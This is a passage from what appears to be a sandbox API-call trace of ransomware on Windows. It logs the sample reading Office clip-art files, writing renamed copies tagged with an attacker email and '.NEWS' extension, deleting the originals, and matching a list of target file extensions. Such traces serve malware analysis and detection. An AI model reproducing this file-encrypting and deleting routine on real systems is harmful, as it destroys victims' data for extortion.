(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0165.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.095] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.095] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.096] GetLastError () returned 0x0 [0165.096] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0165.099] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0165.101] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.101] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.101] SetEndOfFile (hFile=0x528) returned 1 [0165.101] CloseHandle (hObject=0x528) returned 1 [0165.101] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.101] SetEndOfFile (hFile=0x4dc) returned 1 [0165.104] CloseHandle (hObject=0x4dc) returned 1 [0165.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0165.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.105] lstrlenW (lpString=".doc") returned 4 [0165.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString=".docx") returned 5 [0165.106] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0165.106] lstrlenW (lpString=".pdf") returned 4 [0165.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString=".xls") returned 4 [0165.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.106] lstrlenW (lpString=".xlsx") returned 5 [0165.106] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0165.106] lstrlenW (lpString=".ppt") returned 4 [0165.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.106] lstrlenW (lpString=".zip") returned 4 [0165.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.106] lstrlenW (lpString=".rar") returned 4 [0165.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString=".bz2") returned 4 [0165.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString=".7z") returned 3 [0165.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.106] lstrlenW (lpString=".dbf") returned 4 [0165.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.106] lstrlenW (lpString=".1cd") returned 4 [0165.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.106] lstrlenW (lpString=".jpg") returned 4 [0165.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.106] lstrlenW (lpString=".doc") returned 4 [0165.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString=".docx") returned 5 [0165.106] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0165.106] lstrlenW (lpString=".pdf") returned 4 [0165.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.106] lstrlenW (lpString=".xls") returned 4 [0165.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.107] lstrlenW (lpString=".xlsx") returned 5 [0165.107] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0165.107] lstrlenW (lpString=".ppt") returned 4 [0165.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.107] lstrlenW (lpString=".zip") returned 4 [0165.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.107] lstrlenW (lpString=".rar") returned 4 [0165.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.107] lstrlenW (lpString=".bz2") returned 4 [0165.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.107] lstrlenW (lpString=".7z") returned 3 [0165.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.107] lstrlenW (lpString=".dbf") returned 4 [0165.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.107] lstrlenW (lpString=".1cd") returned 4 [0165.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0165.107] lstrlenW (lpString=".jpg") returned 4 [0165.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.107] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.107] lstrlenW (lpString="J0099152.JPG") returned 12 [0165.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.108] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11694) returned 1 [0165.108] CloseHandle (hObject=0x4dc) returned 1 [0165.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0165.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.108] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.109] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.109] GetLastError () returned 0x0 [0165.109] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2dae, lpOverlapped=0x0) returned 1 [0165.572] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2db0, lpOverlapped=0x0) returned 1 [0165.585] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.585] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.585] SetEndOfFile (hFile=0x528) returned 1 [0165.585] CloseHandle (hObject=0x528) returned 1 [0165.585] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.585] SetEndOfFile (hFile=0x4dc) returned 1 [0165.588] CloseHandle (hObject=0x4dc) returned 1 [0165.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0165.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.590] lstrlenW (lpString=".doc") returned 4 [0165.590] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.590] lstrlenW (lpString=".docx") returned 5 [0165.590] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0165.590] lstrlenW (lpString=".pdf") returned 4 [0165.590] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.590] lstrlenW (lpString=".xls") returned 4 [0165.590] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.590] lstrlenW (lpString=".xlsx") returned 5 [0165.590] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0165.590] lstrlenW (lpString=".ppt") returned 4 [0165.590] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.590] lstrlenW (lpString=".zip") returned 4 [0165.590] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.590] lstrlenW (lpString=".rar") returned 4 [0165.590] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.590] lstrlenW (lpString=".bz2") returned 4 [0165.590] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.590] lstrlenW (lpString=".7z") returned 3 [0165.590] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.590] lstrlenW (lpString=".dbf") returned 4 [0165.590] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.590] lstrlenW (lpString=".1cd") returned 4 [0165.591] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.591] lstrlenW (lpString=".jpg") returned 4 [0165.591] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.591] lstrlenW (lpString=".doc") returned 4 [0165.591] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.591] lstrlenW (lpString=".docx") returned 5 [0165.591] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0165.591] lstrlenW (lpString=".pdf") returned 4 [0165.591] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.591] lstrlenW (lpString=".xls") returned 4 [0165.591] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.591] lstrlenW (lpString=".xlsx") returned 5 [0165.591] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0165.591] lstrlenW (lpString=".ppt") returned 4 [0165.591] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.591] lstrlenW (lpString=".zip") returned 4 [0165.591] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.591] lstrlenW (lpString=".rar") returned 4 [0165.591] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.591] lstrlenW (lpString=".bz2") returned 4 [0165.591] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.591] lstrlenW (lpString=".7z") returned 3 [0165.591] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.591] lstrlenW (lpString=".dbf") returned 4 [0165.591] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.591] lstrlenW (lpString=".1cd") returned 4 [0165.591] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0165.591] lstrlenW (lpString=".jpg") returned 4 [0165.592] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.592] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0165.592] lstrlenW (lpString="J0099164.WMF") returned 12 [0165.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.592] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=21946) returned 1 [0165.592] CloseHandle (hObject=0x4dc) returned 1 [0165.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0165.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.593] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.593] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.594] GetLastError () returned 0x0 [0165.594] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x55ba, lpOverlapped=0x0) returned 1 [0165.596] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x55c0, lpOverlapped=0x0) returned 1 [0165.598] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.598] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.598] SetEndOfFile (hFile=0x528) returned 1 [0165.598] CloseHandle (hObject=0x528) returned 1 [0165.598] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.598] SetEndOfFile (hFile=0x4dc) returned 1 [0165.602] CloseHandle (hObject=0x4dc) returned 1 [0165.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0165.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.603] lstrlenW (lpString=".doc") returned 4 [0165.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.603] lstrlenW (lpString=".docx") returned 5 [0165.603] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.603] lstrlenW (lpString=".pdf") returned 4 [0165.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.603] lstrlenW (lpString=".xls") returned 4 [0165.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.603] lstrlenW (lpString=".xlsx") returned 5 [0165.603] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.603] lstrlenW (lpString=".ppt") returned 4 [0165.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.603] lstrlenW (lpString=".zip") returned 4 [0165.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.603] lstrlenW (lpString=".rar") returned 4 [0165.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.603] lstrlenW (lpString=".bz2") returned 4 [0165.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.603] lstrlenW (lpString=".7z") returned 3 [0165.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.603] lstrlenW (lpString=".dbf") returned 4 [0165.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.603] lstrlenW (lpString=".1cd") returned 4 [0165.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.604] lstrlenW (lpString=".jpg") returned 4 [0165.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.604] lstrlenW (lpString=".doc") returned 4 [0165.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.604] lstrlenW (lpString=".docx") returned 5 [0165.604] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.604] lstrlenW (lpString=".pdf") returned 4 [0165.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.604] lstrlenW (lpString=".xls") returned 4 [0165.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.604] lstrlenW (lpString=".xlsx") returned 5 [0165.604] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.604] lstrlenW (lpString=".ppt") returned 4 [0165.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.604] lstrlenW (lpString=".zip") returned 4 [0165.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.604] lstrlenW (lpString=".rar") returned 4 [0165.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.604] lstrlenW (lpString=".bz2") returned 4 [0165.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.605] lstrlenW (lpString=".7z") returned 3 [0165.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.605] lstrlenW (lpString=".dbf") returned 4 [0165.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.605] lstrlenW (lpString=".1cd") returned 4 [0165.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0165.605] lstrlenW (lpString=".jpg") returned 4 [0165.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.605] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.605] lstrlenW (lpString="J0099165.JPG") returned 12 [0165.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0165.606] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=50490) returned 1 [0165.606] CloseHandle (hObject=0x4dc) returned 1 [0165.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0165.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 